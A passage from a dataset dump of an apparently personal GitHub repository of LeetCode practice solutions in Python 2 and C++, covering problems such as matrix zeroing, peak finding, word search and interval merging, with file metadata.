"content_id": "cdec77c63da752afc20e02e9f6bf055b2fc88f4d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1347,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 55,
"path": "/24_set_matrix_zeroes/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @param matrix, a list of lists of integers\n # RETURN NOTHING, MODIFY matrix IN PLACE.\n def setZeroes(self, matrix):\n if not matrix or not matrix[0]:\n return\n\n h = len(matrix)\n w = len(matrix[0])\n\n flag_row = -1\n for row in xrange(0, h):\n for col in xrange(0, w):\n if matrix[row][col] == 0:\n flag_row = row\n break\n if flag_row != -1:\n break\n\n if flag_row == -1: # no element is 0\n return\n\n for row in xrange(0, h):\n if row == flag_row:\n continue\n row_set = False\n for col in xrange(0, w):\n if matrix[row][col] == 0:\n matrix[flag_row][col] = 0\n row_set = True\n if row_set:\n for col in xrange(0, w):\n matrix[row][col] = 0\n\n for col in xrange(0, w):\n if matrix[flag_row][col] == 0:\n for row in xrange(0, h):\n matrix[row][col] = 0\n\n for col in xrange(0, w):\n matrix[flag_row][col] = 0\n\n\ns = Solution()\nmatrix = [\n [1,0,1],\n [1,1,1],\n [1,1,0],\n [1,0,1]\n]\ns.setZeroes(matrix) # \nprint matrix"
},
{
"alpha_fraction": 0.46909090876579285,
"alphanum_fraction": 0.5103030204772949,
"avg_line_length": 23.264705657958984,
"blob_id": "4b078812cdf700258b18285bd1341658b7214728",
"content_id": "8841c10c95dcf8be9b0a471c34c15d9a39ae442f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 825,
"license_type": "no_license",
"max_line_length": 69,
"num_lines": 34,
"path": "/47_find_peak_element/s2.cc",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#include <vector>\n#include <algorithm>\n#include <iostream>\n#include <assert.h>\nusing namespace std;\n\nclass Solution {\npublic:\n int findPeakElement(const vector<int> &num) {\n // log solution\n int start = 0;\n int end = num.size() - 1;\n while (start < end) {\n int mid1 = (start + end) / 2;\n int mid2 = mid1 + 1;\n if (num[mid1] < num[mid2])\n start = mid2;\n else\n end = mid1;\n }\n return start;\n }\n};\n\nint main(int argc, char **argv) {\n Solution s;\n int arr[] = {1, 2, 3, 1};\n vector<int> v1(arr, arr+4);\n assert(2 == s.findPeakElement(v1));\n int arr2[] = {2,4,1,3,6};\n std::vector<int> v2(arr2, arr2+5);\n assert(1 == s.findPeakElement(v2) || 4 == s.findPeakElement(v2));\n return 0;\n}\n"
},
{
"alpha_fraction": 0.4551181197166443,
"alphanum_fraction": 0.4968504011631012,
"avg_line_length": 25.45833396911621,
"blob_id": "2eced3a8a6bc080458b867818df1697b877b495a",
"content_id": "aae9280f2aae06c301421177dc7745123c524c34",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1270,
"license_type": "no_license",
"max_line_length": 79,
"num_lines": 48,
"path": "/37_minimum_path_sum/s1.cc",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#include <iostream>\n#include <vector>\n#include <algorithm>\n\nclass Solution {\npublic:\n int minPathSum(std::vector<std::vector<int> > &grid) {\n if (grid.size() == 0 || grid[0].size() == 0)\n return 0;\n\n int height = grid.size();\n int width = grid[0].size();\n\n for (int col = 1; col < width; col++) {\n grid[0][col] += grid[0][col-1];\n }\n for (int row = 1; row < height; row++) {\n grid[row][0] += grid[row-1][0];\n }\n for (int row = 1; row < height; row++)\n for (int col = 1; col < width; ++col)\n {\n grid[row][col] += std::min(grid[row-1][col], grid[row][col-1]);\n }\n\n return grid[height-1][width-1];\n }\n};\n\nint main(int argc, char **argv) {\n Solution s;\n\n int row1[] = {1,2,3};\n int row2[] = {3,2,4};\n int row3[] = {9,0,1};\n std::vector<int> v1(row1, row1 + sizeof(row1)/sizeof(row1[0]));\n std::vector<int> v2(row2, row2 + sizeof(row2)/sizeof(row2[0]));\n std::vector<int> v3(row3, row3 + sizeof(row3)/sizeof(row3[0]));\n std::vector<std::vector<int> > v;\n v.push_back(v1);\n v.push_back(v2);\n v.push_back(v3);\n\n int sum = s.minPathSum(v);\n std::cout << sum << std::endl;\n\n return 0;\n}\n"
},
{
"alpha_fraction": 0.4430232644081116,
"alphanum_fraction": 0.47093021869659424,
"avg_line_length": 25.875,
"blob_id": "e757daaab3a7f620594a953347431daf90f682eb",
"content_id": "b9ddf3846cddc7bc3d8a4340d2a651eede462258",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 860,
"license_type": "no_license",
"max_line_length": 64,
"num_lines": 32,
"path": "/20_triangle/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @param triangle, a list of lists of integers\n # @return an integer\n def minimumTotal(self, triangle):\n if not triangle:\n return 0\n for level in xrange(1, len(triangle)):\n for pos in xrange(0, len(triangle[level])):\n last = None\n if pos - 1 >= 0 and pos - 1 < level:\n last = triangle[level - 1][pos - 1]\n if pos < level:\n if last:\n last = min(last, triangle[level-1][pos])\n else:\n last = triangle[level-1][pos]\n triangle[level][pos] += last\n\n return min(triangle[-1])\n\n\ntriangle = [\n [2],\n [3,4],\n [6,5,7],\n [4,1,8,3]\n]\ns = Solution()\nprint s.minimumTotal(triangle) # 11 "
},
{
"alpha_fraction": 0.5268924236297607,
"alphanum_fraction": 0.5428286790847778,
"avg_line_length": 22.34883689880371,
"blob_id": "58d394893b71f75901779ade0ca94fceee9d41f6",
"content_id": "aaa998e6465c057c20eb00afd1a5e1ad6e6a6812",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1004,
"license_type": "no_license",
"max_line_length": 149,
"num_lines": 43,
"path": "/1_Binary_Tree_Level_Order_Traversal_II/s1-misunderstood-bt-serial.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n\"\"\"\nIn this solution I misundersood binary tree serialization of leetcode, thinking of the tree as a binary heap, and all empty nodes are replaced by '#'\n\"\"\"\n\n# Definition for a binary tree node\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n # @param root, a tree node\n # @return a list of lists of integers\n def levelOrderBottom(self, root):\n \troot = root.strip('{}')\n \tnodes = root.split(',')\n \th = 0\n \tn = 1\n \twhile True:\n \t\tif n > len(nodes):\n \t\t\tbreak\n \t\tn = n * 2\n \t\th += 1\n \tprint n,h\n \tresult = []\n \tfor x in xrange(0, h):\n \t\tstart = n/2 - 1\n \t\tend = min(len(nodes), n-1)\n \t\tline = [x for x in nodes[start:end] if x != '#' ]\n \t\tresult.append(line)\n \t\tn /= 2\n \t\th -= 1\n\n \treturn result\n\n\ns = Solution()\nprint s.levelOrderBottom(\"{1,2,3,#,#,4,#,#,#,#,#,5}\")\nprint s.levelOrderBottom(\"{}\")\n"
},
{
"alpha_fraction": 0.4628821015357971,
"alphanum_fraction": 0.471615731716156,
"avg_line_length": 40.295082092285156,
"blob_id": "f868b34829f5e0b9622f5097d3caacf0a62d09ed",
"content_id": "1476875a5c75118f2bb01a036db42538a6085105",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2519,
"license_type": "no_license",
"max_line_length": 675,
"num_lines": 61,
"path": "/14_word_search/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @param board, a list of lists of 1 length string\n # @param word, a string\n # @return a boolean\n def exist(self, board, word):\n if not board or not board[0]:\n return False\n if not word:\n return True\n self.board = board\n self.word = word\n self.w = len(board[0])\n self.h = len(board)\n self.used = [[False for col in xrange(0, self.w)] for row in xrange(0, self.h)]\n\n for row in xrange(0, self.h):\n for col in xrange(0, self.w):\n if self.board[row][col] == word[0]:\n for i in xrange(0, self.h):\n for j in xrange(0, self.w):\n self.used[i][j] = False\n if self.dfs(0, row, col):\n return True\n return False\n\n def in_board(self, row, col):\n return True if row >= 0 and row < self.h and col >= 0 and col < self.w else False\n\n def dfs(self, ci, row, col):\n if ci == len(self.word):\n return True\n\n if self.in_board(row, col) and not self.used[row][col] and self.board[row][col] == self.word[ci]:\n self.used[row][col] = True\n if self.dfs(ci + 1, row, col + 1):\n return True\n if self.dfs(ci + 1, row, col - 1):\n return True\n if self.dfs(ci + 1, row + 1, col):\n return True\n if self.dfs(ci + 1, row - 1, col):\n return True\n self.used[row][col] = False\n else:\n return False\n\n\nboard = [\n \"ABCE\",\n \"SFCS\",\n \"ADEE\"\n]\ns = Solution()\nprint s.exist(board, \"ABCCED\") # True\nprint s.exist(board, \"SEE\") # True\nprint s.exist(board, \"ABCB\") # False\nprint s.exist([\"aa\"], \"aa\") # True\nprint s.exist([\"pfhnuvuzzpujstpivosmqlctynsputylyiaufutfjnqdjfnevftotvhticjevjrvrrpxl\",\"kewzubibppwwikpdulnwusrdjoxbdwopalowoxxdotcwgrzaeowygpesddvizjzbwnxlm\",\"uqanswtmxvqorruixonajvbvuctkzgwtxzirxedxzwltphbmwpmhmncjpwvqctjbsttsx\",\"ypxwcqljtxfklpxarirpdhuwsxpmqjjryinaabluytekidkblerolnnekeqdnbulkjnkk\",\"ygltlxbqhdclwszjfftjvwwysjkeyxqxdbqqyuhixlvvduelbzwwytxqehwdenckquarq\",\"jznuwiatonuojtmeqejzbogqsqimszdcysyvdaqrnkhxdtdtyovbcbtwrbjlbonbioynq\",\"ohezodciiyixvlbweypfjagxqihegvuvcawsfacoyklvvmrbkghthnsxxcdexzbbcxthx\",\"wxyiitgxnhjtqfcgxbdbejygmbilxrjvpjfzelwtvinlnrtmtxoziofvqngnfrkwcpvhd\",\"scycplpjhbcepbmehhwwqldhvzkkvtnpvnrnbgwijyozbcfkmbhcmkjjmvthojykyrzbx\",\"vjivzjycojorqqfcbooxixltvxrowtntewqefpgwywnqotuphjmriakgzcuyxitbekflz\",\"nhzjvpzqlpxwdpffbnfdhfarycxijjjzqiknzkdlzdhesoktbpzlubcufadrloqbzarak\",\"unlxxqrlanproanpehvemmpbetcekcrgqegnwxaympparcqwmnaybsbfndlxgcfwjllfj\",\"levdvwuyoqmbtkclmjaruxxxeviqinbutwxpurpkkdndnrqbaqtvpsutqcjyrksnjrefl\",\"vsvyfanxspxikuzeouusgtmqnzbffjqabnygpnfhcfrozqtokniqiujwvmbavtayiahxo\",\"mesrvjrnchxrrqambwjnzklsmjcpszfffxycgrrkaqesgeghcpvbbivqrxfmykrfjrhsj\",\"aejqidxmjgqbbreloufnzrllisxbbpkbtwscbpqnvhozaskpnpcoiqcqizskoeljcfleu\",\"crslhtlbfaqxfffvhyfgsrwwffbktfhxybifutgbwxybeeyleftwxrucyvorcvoayyfss\",\"ouqlutparcewxcvqxxouogxjwxivfcptyfgvyxvrbcpyelobkeyykvkjuuezytuxaauax\",\"ptytiyytobetzefuoopksqjnlipncpntilntmlocmuvozdiprzamsjbfrrstifmttbmfm\",\"ahbxfpwizlbblptwrynkqisyxnrybynehobodxyekafypyuiykspsnpragqegdintleyi\",\"ccucisuinchxvyrinjktzobeyqxjuvtxxobhgvqvyxuvxmfkvpfwggaewzotuhqtxrben\",\"tbnswkpipzfggbmmdtkchdwqtrqnuwcnxphtzwdqxiwdjjrmccolfmdbgtqapsqpjxikw\",\"matuwzghqslujycvefbzvernugyrqinekjziihsazdviexgicjjznaohimzzwodgxeqhl\",\"iknofvsedcinnjaoxkyjlxfbdnbjdixoskczhwflapanycdvmcgzblbgacqgknufxyggu\",\"orudrjcunzirgiutjbultcxgwefullqzfmewvgskgbdojyhuzdfsfeabjfxuspvxbzwzi\",\"olqrpecnnwordgwiiarpznhpkhsldtvtfnlurnjhmxypfuznwscwhlnrshfvbapiocchp\",\"nodmovrlughnifutsooatjdvallcptucjzoyuhjpnsexyyssogujsxfuiqxxltbxsrxny\",\"ienaimaihtxnnghllcvebvrwwooqldqtjewrswazrzpffwstapxbkqxjfozstpodvkwog\",\"ypaxefddzydoxhbngkuwjnqybvwlrktsbtpgaulbsqqpxrdedxammsmnniahuwbwpqesl\",\"rtdhlvfealhzlvmgibvscenyflpwphjgdonojuvlfcltyxziyuaczpagaqcrzlzccptlj\",\"oxpskkshjahfbkgsmntcrkcfkghzzukntzgdlymwzwccikwuzpxrabwmhflhzxwvxcykd\",\"nhejjirvelvukmwnkivrvessanrfocibjmkuudpyomsbyookyldtrwmujfzxhjysvkopn\",\"epeskftavdzjhsafgwomvoveoobzesmiisdsxwuvzteiognudeiysgfgwghabwljoodmk\",\"zhjtnuhtjdwnoxhucqqkxqntbwkpbwzbflwuhfnqikgwjpqnfgxfzlaajksnitqpeojnt\",\"xgbjmaubqhjzeqyrqadbusloibuwkirjosucsoflvokcektxmyahqlvamryzbpkpiftcv\",\"znrpzvwjqtypvfhgcivtgwxwgogniijjwcyxxwhprhemmmtquqlcmiysxeifprqnvokun\",\"rjeyormcmeyeqaqabkxhsewlujgluaynkeoavcejhcnzedzhqxpidnwazcltflirpyrnb\",\"xwkzmjfrknhjesnropqqalvnuoeufrxcqhdcsltdybmctbvjqmzsxxhtlmqtdnxvxdxro\",\"tuowjsrmnafzzxzyhumtmhyaguzltqzmnpiwhzkvzpwbpxbwunrgwpidjhodyqrlfajpz\",\"vkbliecgfaavririrwuynzyfqjmqubsqlvdwzhcgjebcmvkdtgegfclyoaqibkapfflgo\",\"nnxtobflmjfunlarzyfzqqcbsrgacnoraokqpqcdbhyquahvanwqfzrxsaxvnoopczhrr\",\"lxsuvkpxrmxglpnkhlchkzwyonanuuggraaokrndgkkrzxbikfrvfnvvaykxuqdnqfbaz\",\"odfapybpbmbgdynruktsuqmkvzcdcecskjubhxqkjusnsigmszgnqsznteqxispsdlumj\",\"mwsgphzxnnrpugfogsikjhudznhkjvtvsocjvdglqzakghzmzjykqsqrhzcquxmmlqvjt\",\"dujduwjbvxcgxpyrfqzgspardpdtkooqiyteuehrdlzaaxrhnqnhiqbnfgjruxhexciti\",\"rmlcllfjfmyxcihujvzpeqjbanbcxulojysumxfrmeoqmwkvtjmxbvabkdgjatzjrrddp\",\"jwbnnrblbyemkbphdtthzchubqnsvrjepktcdwngwruiukpadkheoqypilkdetkugdylc\",\"muyfohcyycbjlhxbfpjtbmxuytccsqggkenynpzmtaxeiufplqimfgjdbnhtdnbpupohg\",\"nvapsezpmraeznjhypjlwermiggzwpfllhbdmcsatvevkqcifnvdumpcvxbrnifyqgdek\",\"ygetmzfcdnjrknnzcpwcsnpaupscswnsetlruqtxfdqssdrwunymcppxehzzgorkhfbbv\",\"xbdarxuvoqpdrehgtglaimiwdteiuhgriltaipxygodzukfntsqbeyxktdsqnahvldxts\",\"wtalwzhjhvczndgncqjgizvjiqwlosgmlixkkhtrevsraygcopkzqfkzyimmasymdywnh\",\"relmweoxkqncdmskytihgwhaxvdxtqekwpyvvosfhfjkueuuxfbdbleaijxeadqyuptpd\",\"nvmvgwpktlkapnbctekdbofhfdbwzrbmoohumyhhkrhzgldapnfsekzlpbjoumdickepl\",\"lwxeeylrbngqsaucahtdqixdlhfxlwkxvhbbfosibaztavxadrfvbeymlglxewuzfxcnm\",\"uvpuwjxsixvzfqajrovzcsfyohfnjsbgqrcmazeixbkesmnldimfcrfsykgifhovyshas\",\"mlrpvvjjiumtirxayqajwiofylersgjgrawoxfyfckakeymcqnnoxdtwozpjgapxcnmzt\",\"mgxwjhcjufzjsngyicmitvqvnnzabavnjsmscobytchopnoxschnyxjnnknqlleudsmhg\",\"pfcrosicghwipjiouvbfluqwykbsylynsaghuolavhlmqtbnreseyicyufquqrjjtpsof\",\"doakbpcvqpowjuxtwvpbojufudyjvmqadtkeiobagrwpltlhralhkfmgkmqhzihebtkjj\",\"ojrfihtduawundgupneefndnwjpptabhmspubizvkwsybystnzxsocillzcezdonwdjzl\",\"jvvhnvknqdbpavdefopgrwiwmvspfscqpzzevjrlnucpsfuxwjephmltjgkoamgpmftjp\",\"muchwtzdnybzeqgsecckmskzzbneuwvgszpototipvhtnqorsqdekpdlqsqkontgniwgz\",\"sqonyjcozwipzmcpsnhkfsztnhiveqwwgmleypuxlepnrrelenvmfwfugnskdoijbvqbm\",\"myarnpkgtvngszopgkvtchyrrjuobxaovahlprrkoetgfjxltugwdgpwqlktilhflqqdj\",\"knxoggwpfhlcojfuycmlogvzpangtqrdfrtoxpfexqgnzmjzqwkeehgtivbbnvgsmzglp\",\"opoewbgkkfaisgobokjjnmwisruuxfjnvxutaadmhfxbnldcvonjdkrxboravcosbilbk\",\"qqrvnvjyynuoafrmwppmgqijgakqooceevcrqnrqalfcswppnedwwlfeorwefyilukckx\",\"udzhicagtrwzusyixeyqbcybmjvzoiyilarvetdxkzyhryrqdrjgvhhhqdienjoajixnb\",\"ammckvvjmmodxuyebhwgsbtbrvkzszdtlpxxmsiagwfdsdjumgcejyhattcosfjfwgdiy\",\"nkhmpkeuuagafnjdwlyqnmiuvqqdtacikjubvbvrberirclnqmffyoaweszzvdjhoejmh\",\"edikxtbzerrswxtmzpsrqtowdwmjhyqncaybtbcauustrnhsealxvatayhlhgdukeslzw\",\"nbqjwjcjruotglqigrinepvijhoeunairstncwyvsoqabgihzsxehuotccxwrzgiraxvy\",\"yqqmgropbxouuubpiwrktpcuwmmykjwiaowifkxjiodeigtrdmbycftashyeqwoskkdsv\",\"abfogjzmfqprrovzjxrqvvitjbgveysgbxxhjwtomlhfbdekaxcysktdnzbrztaarxhcv\",\"dqjqxorcvddshdnrwsfwtyxnaygxhiumydcxstapyfhfiwzgpgcigaxhadghnbwneylyu\",\"nnssxactzikfntnpsupwbylcuzivmhpzwjttjvpkfzrsufhnzylczwetxpojwfkupfoaa\",\"fliecazhkojizlhvsdvjtefzrbqwrqzwbhbghcptqacrmjogojpiqwjhxzdppentlozvs\",\"qokrsbfcqlsbcarajyzieoaietwsurnkhxdabietvwuzzmzimztqptbtoxoiqduxcazdi\",\"dygctfbhhjtgemxxntnkjxcmsbqsbucguiinqjuxvqfzcczrxmdikfuegnyhhcqblyrdk\"], \"afdfghjhy\")\n"
},
{
"alpha_fraction": 0.5100529193878174,
"alphanum_fraction": 0.535449743270874,
"avg_line_length": 18.244897842407227,
"blob_id": "0092d09cbad600076f0b36707a2ef8097575e315",
"content_id": "715d0d86169fcba97a0170cd7d71a7ae236a5e2c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 945,
"license_type": "no_license",
"max_line_length": 37,
"num_lines": 49,
"path": "/6_remove_duplicates_from_sorted_list/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution:\n # @param head, a ListNode\n # @return a ListNode\n def deleteDuplicates(self, head):\n if not head or not head.next:\n return head\n \n p = head\n next = p.next\n while next:\n if p.val == next.val:\n next = next.next\n else:\n p.next = next\n p = next\n next = p.next\n p.next = next\n \n return head\n\ndef tranverseList(head):\n\tnode = head\n\twhile node:\n\t\tprint node.val\n\t\tnode = node.next\n\ns = Solution()\nn1 = ListNode(1)\nn2 = ListNode(2)\nn3 = ListNode(2)\nn4 = ListNode(3)\nn5 = ListNode(2)\nn6 = ListNode(2)\nn1.next = n2\nn2.next = n3\nn3.next = n4\nn4.next = n5\nn5.next = n6\n\ntranverseList(s.deleteDuplicates(n1))\n\n\n"
},
{
"alpha_fraction": 0.515008807182312,
"alphanum_fraction": 0.5326662659645081,
"avg_line_length": 25.546875,
"blob_id": "c8c8c35b65a4d40f75ee8a96cc00ce51c51ee352",
"content_id": "5ebc999b33508370684408221d2a65a72c6480ef",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1699,
"license_type": "no_license",
"max_line_length": 88,
"num_lines": 64,
"path": "/39_merge_intervals/s1.cc",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#include <vector>\n#include <algorithm>\n#include <iostream>\nusing namespace std;\n/**\n * Definition for an interval.\n */\nstruct Interval {\n int start;\n int end;\n Interval() : start(0), end(0) {}\n Interval(int s, int e) : start(s), end(e) {}\n };\n\nbool interval_compare(const Interval &v1, const Interval &v2) {\n if (v1.start != v2.start)\n return v1.start < v2.start;\n else\n return v1.end < v2.end;\n}\n\nclass Solution {\npublic:\n vector<Interval> merge(vector<Interval> &intervals) {\n if (intervals.size() <= 1)\n return intervals;\n\n std::vector<Interval> result;\n std::sort(intervals.begin(), intervals.end(), interval_compare);\n int s = 0, q = 0;\n int p = 1;\n while (p < intervals.size()) {\n if (intervals[q].end >= intervals[p].start) {\n if (intervals[q].end > intervals[p].end)\n p++;\n else\n q = p++;\n } else {\n result.push_back(Interval(intervals[s].start, intervals[q].end));\n s = q = p++;\n }\n }\n result.push_back(Interval(intervals[s].start, intervals[q].end));\n\n return result;\n }\n};\n\n\nint main(int argc, char **argv) {\n Solution s;\n std::vector<Interval> v;\n v.push_back(Interval(1,3));\n v.push_back(Interval(2,6));\n v.push_back(Interval(8,10));\n v.push_back(Interval(15,18));\n v.push_back(Interval(10,12));\n std::vector<Interval> result = s.merge(v);\n \n for (std::vector<Interval>::iterator it = result.begin(); it < result.end(); it++) {\n std::cout << it->start << \" \" << it->end << std::endl;\n }\n return 0;\n}\n"
},
{
"alpha_fraction": 0.5,
"alphanum_fraction": 0.5400593280792236,
"avg_line_length": 23.071428298950195,
"blob_id": "cfd0f40e10f8eeca9065134d9f7278cf06be8211",
"content_id": "86f2af148c41981ba93a03ddd1b45c8f47ebb35d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 674,
"license_type": "no_license",
"max_line_length": 69,
"num_lines": 28,
"path": "/47_find_peak_element/s1.cc",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#include <vector>\n#include <algorithm>\n#include <iostream>\n#include <assert.h>\nusing namespace std;\n\nclass Solution {\npublic:\n int findPeakElement(const vector<int> &num) {\n // linear solutino\n int i;\n for (i = 1; i < num.size(); i++)\n if (num[i] < num[i - 1])\n return i - 1;\n return num.size() - 1;\n }\n};\n\nint main(int argc, char **argv) {\n Solution s;\n int arr[] = {1, 2, 3, 1};\n vector<int> v1(arr, arr+4);\n assert(2 == s.findPeakElement(v1));\n int arr2[] = {2,4,1,3,6};\n std::vector<int> v2(arr2, arr2+5);\n assert(1 == s.findPeakElement(v2) || 4 == s.findPeakElement(v2));\n return 0;\n}\n"
},
{
"alpha_fraction": 0.3490196168422699,
"alphanum_fraction": 0.4104575216770172,
"avg_line_length": 21.02941131591797,
"blob_id": "95bad69b2c4e5afb6ca6f06ea5d0cbe9605c8fb0",
"content_id": "96070aa03d2aa9ce1d7b1f618daa2174967bfe92",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 769,
"license_type": "no_license",
"max_line_length": 66,
"num_lines": 34,
"path": "/4_add_binary/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n\"\"\"\nWould rather use ‘{0:b}.format(int(a,2) + int(b,2))’ in real world\n\"\"\"\n\nclass Solution:\n # @param a, a string\n # @param b, a string\n # @return a string\n def addBinary(self, a, b):\n sum = 0\n d = 1\n for i in xrange(len(a)-1, -1, -1):\n sum += int(a[i]) * d\n d *= 2\n d = 1\n for j in xrange(len(b)-1, -1, -1):\n sum += int(b[j]) * d\n d *= 2\n \n if sum == 0:\n return '0'\n \n result = ''\n while sum > 0:\n result += str(sum % 2)\n sum /= 2\n \n return result[::-1]\n \ns = Solution()\nprint s.addBinary('100010100100101', '10101111011') \n "
},
{
"alpha_fraction": 0.5131579041481018,
"alphanum_fraction": 0.5263158082962036,
"avg_line_length": 9.857142448425293,
"blob_id": "b61b52cc97830f35683cced08c0f72ea03a2f671",
"content_id": "0123818c1b6e249dae383dee7dad76fe029f0fd5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 76,
"license_type": "no_license",
"max_line_length": 22,
"num_lines": 7,
"path": "/template.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n\n\ns = Solution()\nprint s.() # "
},
{
"alpha_fraction": 0.49223601818084717,
"alphanum_fraction": 0.5124223828315735,
"avg_line_length": 24.760000228881836,
"blob_id": "9ad46e5315221d84b5ae7a1d4c8030d1b82d4dcd",
"content_id": "0e2118430021a062ba5ede883241dc7c849ac537",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1294,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 50,
"path": "/1_Binary_Tree_Level_Order_Traversal_II/s2-level-down-misunderstood-input-format.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\n\"\"\"\nIn this solution as well as in s1, I misunderstood that \nwhat leetcode gives is the string representation of a \nserialized binary tree, i.e, \"{1,2,3,#,#,4,#,#,5}\" in \nthe my case o(╯□╰)o\n\"\"\"\n\n# Definition for a binary tree node\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n # @param root, a tree node\n # @return a list of lists of integers\n def levelOrderBottom(self, root):\n \tif not root:\n \t\treturn []\n \t\t\n \tnodes = root.strip('{}').split(',')\n \tif not nodes or not nodes[0]:\n \t\treturn []\n \t\n \tresult = []\n\n \tcurrent_level_len = 1\n \tnext_level_len = 0\n \tline = []\n \tfor node in nodes:\n \t\tif node != '#':\n \t\t\tnext_level_len += 2\n \t\t\tline.append(int(node))\n \t\tcurrent_level_len -= 1\n \t\tif current_level_len == 0:\n \t\t\tcurrent_level_len = next_level_len\n \t\t\tnext_level_len = 0\n \t\t\tresult.append(line)\n \t\t\tline = []\n \tresult.reverse()\n \treturn result\n\n\ns = Solution()\nprint s.levelOrderBottom(\"{1,2,3,#,#,4,#,#,5}\")\nprint s.levelOrderBottom(\"{3,9,20,#,#,15,7}\")\n"
},
{
"alpha_fraction": 0.33733493089675903,
"alphanum_fraction": 0.40576231479644775,
"avg_line_length": 24.272727966308594,
"blob_id": "cebbc53f5497801f17763aad6a41a6b9344a35e9",
"content_id": "82e7a12a5100e6fd68940827092fde139b77616f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 833,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 33,
"path": "/23_sort_colors/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @param A a list of integers\n # @return nothing, sort in place\n def sortColors(self, A):\n if not A:\n return []\n p0 = 0\n p2 = len(A) - 1\n pm = 0\n while pm <= p2 and p0 <= p2:\n if A[pm] == 0:\n A[pm] = A[p0]\n A[p0] = 0\n p0 += 1\n pm += 1\n elif A[pm] == 2:\n A[pm] = A[p2]\n A[p2] = 2\n p2 -= 1\n else:\n pm += 1\n return A\n\ns = Solution()\nprint s.sortColors([0,2,2,1,0,2,1,2]) # [0,0,1,1,2,2,2,2]\nprint s.sortColors([1,0]) # [0,1]\nprint s.sortColors([1]) # [1]\nprint s.sortColors([0]) # [0]\nprint s.sortColors([1, 1]) # [1, 1]\nprint s.sortColors([1,2,0]) # [0,1,2]"
},
{
"alpha_fraction": 0.4038727581501007,
"alphanum_fraction": 0.42323651909828186,
"avg_line_length": 27.372549057006836,
"blob_id": "7ccecda44be4befbf4c652d817cf070074729825",
"content_id": "8c199787b33e0a382da22b5697dbb9f92dd8a637",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1446,
"license_type": "no_license",
"max_line_length": 91,
"num_lines": 51,
"path": "/22_subsets_ii/s1.py",
"repo_name": "xwzded07/leetcode",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nclass Solution:\n # @param num, a list of integer\n # @return a list of lists of integer\n def subsetsWithDup(self, S):\n if not S:\n return []\n\n S.sort()\n counts = {}\n count = 1\n for i in xrange(len(S)-2, -1, -1):\n if S[i] == S[i+1]:\n count += 1\n del S[i+1]\n elif count != 1:\n counts[S[i]] = count\n count = 1\n if count != 1:\n counts[S[0]] = count\n\n subsets = []\n for num in xrange(0, (1 << len(S))):\n cur_sets = [[]]\n bin_str = bin(num)\n bin_str = bin_str[len(bin_str)-1:1:-1]\n for digit in xrange(0, len(bin_str)):\n if bin_str[digit] == '0':\n continue\n if S[digit] not in counts:\n for cur_set in cur_sets:\n cur_set.append(S[digit])\n else:\n length = len(cur_sets)\n for i in xrange(0, length):\n cur_sets[i].append(S[digit])\n for j in xrange(1, counts[S[digit]]):\n cur_sets.append(cur_sets[i] + [S[digit] for k in xrange(0, j)])\n\n subsets.extend(cur_sets)\n\n return subsets\n\n\n\n\ns = Solution()\nprint s.subsetsWithDup([1,2,3,2]) # \nprint s.subsetsWithDup([1,1])"
},
{
"alpha_fraction": 0.43592551350593567,
"alphanum_fraction": 0.4665936529636383,
"avg_line_length": 29.433332443237305,
